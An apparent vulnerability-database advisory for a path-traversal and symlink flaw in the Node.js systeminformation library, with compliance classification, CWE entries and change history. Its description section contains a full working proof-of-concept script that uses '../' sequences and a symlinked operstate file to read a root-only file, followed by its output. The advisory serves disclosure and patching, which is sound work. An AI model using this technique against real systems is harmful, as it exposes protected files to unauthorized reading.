Sebhildebrandt Systeminformation: Path Traversal (CVE-2026-116673)

What is affected, what to do

Update Sebhildebrandt Systeminformation to version 5.33.14.

Affected

• Sebhildebrandt Systeminformation lt *..5.33.14

Fixed in

• Sebhildebrandt Systeminformation 5.33.14

Not sure whether and how you are affected? Ask a question about this vulnerability

Metrics

Detection rules

No NEOSEC detection rule is available for this vulnerability yet.

Classification under NIS2 and CRA

Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

NIS2

NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

Read in glossary

Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.

CRA

The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

Read in glossary

From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.

ISO/IEC 27001

ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

Read in glossary

Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

Description

mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install systeminformation@5.33.13

'use strict';

const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');

const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
  const fs = require('node:fs');
  const root = process.env.SI_FIXTURE_ROOT;
  const secret = process.env.SI_SECRET;
  fs.mkdirSync(root + '/statistics', { recursive: true });
  for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
    fs.writeFileSync(root + '/statistics/' + name, '0\\n');
  }
  fs.symlinkSync(secret, root + '/operstate');
`;

(async () => {
  try {
    fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
    fs.chmodSync(secret, 0o600);

    execFileSync('runuser', [
      '-u', 'nobody', '--', 'env',
      `SI_FIXTURE_ROOT=${root}`,
      `SI_SECRET=${secret}`,
      process.execPath, '-e', fixtureCode
    ], { stdio: 'inherit' });

    let nobodyCouldRead = true;
    try {
      execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
    } catch {
      nobodyCouldRead = false;
    }
    if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');

    const iface = '../'.repeat(24) + root.slice(1);
    const rows = await si.networkStats(iface);
    const returned = String(rows[0]?.operstate ?? '').trim();
    const success = returned === marker;

    console.log(JSON.stringify({
      nobodyCouldRead,
      libraryReturnedRootOnlyMarker: success,
      returnedOperstate: returned
    }, null, 2));

    if (!success) process.exitCode = 1;
  } finally {
    fs.rmSync(root, { recursive: true, force: true });
    fs.rmSync(secret, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

{
  "nobodyCouldRead": false,
  "libraryReturnedRootOnlyMarker": true,
  "returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}

Source: OSV (Open Source Vulnerabilities), GitHub Security Advisories, cvelistv5, NVD (NIST)

Vendors and products

• Sebhildebrandt Systeminformation

Weakness classes (CWE)

• CWE-22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

  Base

  The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

  Entry at MITRE CWE-22

• CWE-59Improper Link Resolution Before File Access ('Link Following')

  Base

  The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

  Entry at MITRE CWE-59

References & sources

• github.comsebhildebrandt/systeminformation/commit/8d294b3139fec654a912969…x_refsource_MISC, web
• github.comsebhildebrandt/systeminformation/releases/tag/v5.33.14x_refsource_MISC, web
• github.comsebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-…x_refsource_CONFIRM, web
• NVD (NIST)vuln/detail/CVE-2026-116673advisory
• github.comsebhildebrandt/systeminformationpackage

Changes to this CVE

Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).

1. 28.10.2026Record modifiedCISA ADP

   CISA assessment (SSVC): exploitation: none known, automatable: no

   Show the original change

   Individual changes of this event as published by NVD

   Type	Action	Before	After
   SSVC assessment	added	—	{"id":"CVE-2026-116673","role":"CISA Coordinator","options":[{"exploitation":"none"},{"automatable":"no"},{"technicalImpact":"partial"}],"version":"2.0.3","timestamp":"2026-10-28T14:34:17.124091Z"}

   Source identifier: 134c704f-9b21-4f2e-91b3-4a467353bcc0

2. 27.10.2026ReceivedGitHub

   CVSS V3.1: AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

   Weakness type: CWE-22, CWE-59

   Description added or changed

   New references:

   • https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd
   • https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14
   • https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g
   Show 8 original changes

   Individual changes of this event as published by NVD

   Type	Action	Before	After
   Description	added	—	systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.
   CVSS	added	—	AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
   Weakness type (CWE)	added	—	CWE-22
   Weakness type (CWE)	added	—	CWE-59
   Affected versions (publisher)	added	—	New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/116xxx/CVE-2026-116673.json">CVE-2026-116673</a>
   Reference	added	—	https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd
   Reference	added	—	https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14
   Reference	added	—	https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g

   Source identifier: security-advisories@github.com